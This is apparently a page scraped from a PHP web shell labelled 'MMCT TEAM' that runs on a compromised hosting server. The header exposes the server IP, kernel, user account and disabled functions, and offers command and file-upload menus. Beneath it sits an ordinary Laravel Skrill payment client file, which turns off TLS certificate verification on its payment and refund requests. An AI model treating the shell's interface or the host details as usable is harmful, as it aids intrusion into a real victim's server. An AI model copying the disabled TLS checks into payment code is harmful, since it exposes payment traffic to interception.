MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/celkcksm/cms.ncriptech.com/vendor/obydul/laraskrill/src/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/cms.ncriptech.com/vendor/obydul/laraskrill/src/SkrillClient.php
<?php

namespace Obydul\LaraSkrill;

use Illuminate\Support\Facades\Http;

class SkrillClient
{
    /** Skrill payment and refund URL */
    const PAY_URL = 'https://pay.skrill.com';
    const REFUND_URL = 'https://www.skrill.com/app/refund.pl';

    /** @var  SkrillRequest $request */
    private $request;

    /** @var  string $sid */
    private $sid;

    /**
     * SkrillClient constructor.
     * @param SkrillRequest $request
     */
    public function __construct(SkrillRequest $request = null)
    {
        if ($request != null) $this->request = $request;
        else echo "<h2>Exception, you need to set SkrillRequest!</h2><br>";
    }

    /**
     * Generate SID
     */
    public function generateSID()
    {
        // send request to skrill
        return Http::withoutVerifying()
            ->withOptions(["verify" => false])
            ->post(self::PAY_URL, $this->request->toArray())
            ->body();
    }

    /**
     * Generate payment URL
     */
    public function paymentRedirectUrl($sid = null)
    {
        $this->sid = $sid;
        if (!$this->sid) {
            $this->sid = $this->generateSID();
        }
        return self::PAY_URL . "?sid={$this->sid}";
    }

    /**
     * Prepare for full and partial refund
     * @return bool|string
     */
    public function prepareRefund()
    {
        // add required refund fields
        $this->request->action = 'prepare';

        return Http::withoutVerifying()
            ->withOptions(["verify" => false])
            ->post(self::REFUND_URL, $this->request->toArray())
            ->body();
    }

    /**
     * Do full and partial refund
     * @return bool|string
     */
    public function doRefund()
    {
        // add action
        $this->request->action = 'refund';

        return Http::withoutVerifying()
            ->withOptions(["verify" => false])
            ->post(self::REFUND_URL, $this->request->toArray())
            ->body();
    }

    /**
     * @return SkrillRequest
     */
    public function getRequest()
    {
        return $this->request;
    }

    /**
     * @param SkrillRequest $request
     */
    public function setRequest($request)
    {
        $this->request = $request;
    }
}

MMCT - 2023